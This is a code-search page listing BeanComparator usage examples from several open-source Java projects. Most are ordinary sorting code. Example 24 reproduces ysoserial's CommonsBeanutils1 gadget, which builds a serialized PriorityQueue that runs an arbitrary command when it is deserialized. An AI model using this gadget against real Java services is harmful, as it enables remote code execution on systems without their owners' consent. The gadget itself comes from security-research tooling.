Search in sources :

Example 21 with BeanComparator

use of org.apache.commons.beanutils.BeanComparator in project BroadleafCommerce by BroadleafCommerce.

the class ExtensionManager method sortHandlers.

@SuppressWarnings({ "unchecked", "rawtypes" })
protected void sortHandlers() {
    if (!handlersSorted) {
        Comparator fieldCompare = new BeanComparator("priority");
        Collections.sort(handlers, fieldCompare);
        handlersSorted = true;
    }
}
Also used : BeanComparator(org.apache.commons.beanutils.BeanComparator) BeanComparator(org.apache.commons.beanutils.BeanComparator) Comparator(java.util.Comparator)

Example 22 with BeanComparator

use of org.apache.commons.beanutils.BeanComparator in project collect by openforis.

the class SurveyController method loadSurveys.

@SuppressWarnings("unchecked")
@RequestMapping(method = GET)
@ResponseBody
public List<?> loadSurveys(@RequestParam(value = "userId", required = false) Integer userId, @RequestParam(value = "groupId", required = false) Integer groupId, @RequestParam(value = "full", required = false) boolean fullSurveys, @RequestParam(value = "includeCodeListValues", required = false) boolean includeCodeListValues, @RequestParam(value = "includeTemporary", required = false) boolean includeTemporary) throws Exception {
    String languageCode = Locale.ENGLISH.getLanguage();
    if (userId == null) {
        userId = sessionManager.getLoggedUser().getId();
    }
    Set<Integer> groupIds = getAvailableUserGroupIds(userId, groupId);
    List<SurveySummary> summaries = new ArrayList<SurveySummary>(surveyManager.getSurveySummaries(languageCode, groupIds));
    if (includeTemporary) {
        summaries.addAll(surveyManager.loadTemporarySummaries(languageCode, true, groupIds));
    }
    List<Object> views = new ArrayList<Object>();
    for (SurveySummary surveySummary : summaries) {
        if (fullSurveys) {
            CollectSurvey survey = surveyManager.getOrLoadSurveyById(surveySummary.getId());
            views.add(generateView(survey, includeCodeListValues));
        } else {
            views.add(surveySummary);
        }
    }
    views.sort(Collections.reverseOrder(new BeanComparator("modifiedDate")));
    return views;
}
Also used : SurveySummary(org.openforis.collect.model.SurveySummary) ArrayList(java.util.ArrayList) BeanComparator(org.apache.commons.beanutils.BeanComparator) CollectSurvey(org.openforis.collect.model.CollectSurvey) RequestMapping(org.springframework.web.bind.annotation.RequestMapping) ResponseBody(org.springframework.web.bind.annotation.ResponseBody)

Example 23 with BeanComparator

use of org.apache.commons.beanutils.BeanComparator in project coprhd-controller by CoprHD.

the class CreationTimeComparator method getComparator.

private ComparatorChain getComparator() {
    if (COMPARATOR == null) {
        COMPARATOR = new ComparatorChain();
        COMPARATOR.addComparator(new BeanComparator(CREATION_TIME, new NullComparator()), reverseOrder);
    }
    return COMPARATOR;
}
Also used : ComparatorChain(org.apache.commons.collections.comparators.ComparatorChain) NullComparator(org.apache.commons.collections.comparators.NullComparator) BeanComparator(org.apache.commons.beanutils.BeanComparator)

Example 24 with BeanComparator

use of org.apache.commons.beanutils.BeanComparator in project ysoserial by frohoff.

the class CommonsBeanutils1 method getObject.

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");
    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));
    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");
    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;
    return queue;
}
Also used : BigInteger(java.math.BigInteger) BeanComparator(org.apache.commons.beanutils.BeanComparator) PriorityQueue(java.util.PriorityQueue)

Example 25 with BeanComparator

use of org.apache.commons.beanutils.BeanComparator in project motech by motech.

the class InMemoryQueryFilter method order.

/**
 * Orders the provided collection using the provided ordering information.
 * @param collection the collection to order
 * @param orderList list of orders that should be applied to the collection
 * @param <T> the type of the collection to order
 * @return a new list with ordered objects from the provided collection
 */
private static <T> List<T> order(Collection<T> collection, List<Order> orderList) {
    List<Comparator<T>> comparatorList = new ArrayList<>();
    for (Order order : orderList) {
        Comparator<T> comparator = new BeanComparator<>(order.getField(), new NullComparator());
        // reverse it if order is descending
        if (order.getDirection() == Order.Direction.DESC) {
            comparator = new ReverseComparator(comparator);
        }
        comparatorList.add(comparator);
    }
    // we use a compound comparator to chain comparators for each provided order
    CompoundComparator<T> compoundComparator = new CompoundComparator<>(comparatorList.toArray(new Comparator[comparatorList.size()]));
    // convert to a list and sort it
    List<T> result = new ArrayList<>(collection);
    Collections.sort(result, compoundComparator);
    return result;
}
Also used : Order(org.motechproject.mds.util.Order) NullComparator(org.apache.commons.collections.comparators.NullComparator) ArrayList(java.util.ArrayList) BeanComparator(org.apache.commons.beanutils.BeanComparator) ReverseComparator(org.apache.commons.collections.comparators.ReverseComparator) CompoundComparator(org.springframework.util.comparator.CompoundComparator) NullComparator(org.apache.commons.collections.comparators.NullComparator) ReverseComparator(org.apache.commons.collections.comparators.ReverseComparator) CompoundComparator(org.springframework.util.comparator.CompoundComparator) BeanComparator(org.apache.commons.beanutils.BeanComparator) Comparator(java.util.Comparator)

Aggregations

BeanComparator (org.apache.commons.beanutils.BeanComparator)50 ArrayList (java.util.ArrayList)25 SelectItem (com.agiletec.aps.util.SelectItem)6 NullComparator (org.apache.commons.collections.comparators.NullComparator)6 IEntityManager (com.agiletec.aps.system.common.entity.IEntityManager)5 Group (com.agiletec.aps.system.services.group.Group)5 IApsEntity (com.agiletec.aps.system.common.entity.model.IApsEntity)4 ApsSystemException (com.agiletec.aps.system.exception.ApsSystemException)4 AttributeInterface (com.agiletec.aps.system.common.entity.model.attribute.AttributeInterface)3 Comparator (java.util.Comparator)3 HashMap (java.util.HashMap)3 List (java.util.List)3 ComparatorChain (org.apache.commons.collections.comparators.ComparatorChain)3 ReverseComparator (org.apache.commons.collections.comparators.ReverseComparator)3 Role (com.agiletec.aps.system.services.role.Role)2 WebApplicationContext (org.springframework.web.context.WebApplicationContext)2 SmallEntityType (com.agiletec.aps.system.common.entity.model.SmallEntityType)1 AbstractListAttribute (com.agiletec.aps.system.common.entity.model.attribute.AbstractListAttribute)1 AttributeRole (com.agiletec.aps.system.common.entity.model.attribute.AttributeRole)1 ListAttribute (com.agiletec.aps.system.common.entity.model.attribute.ListAttribute)1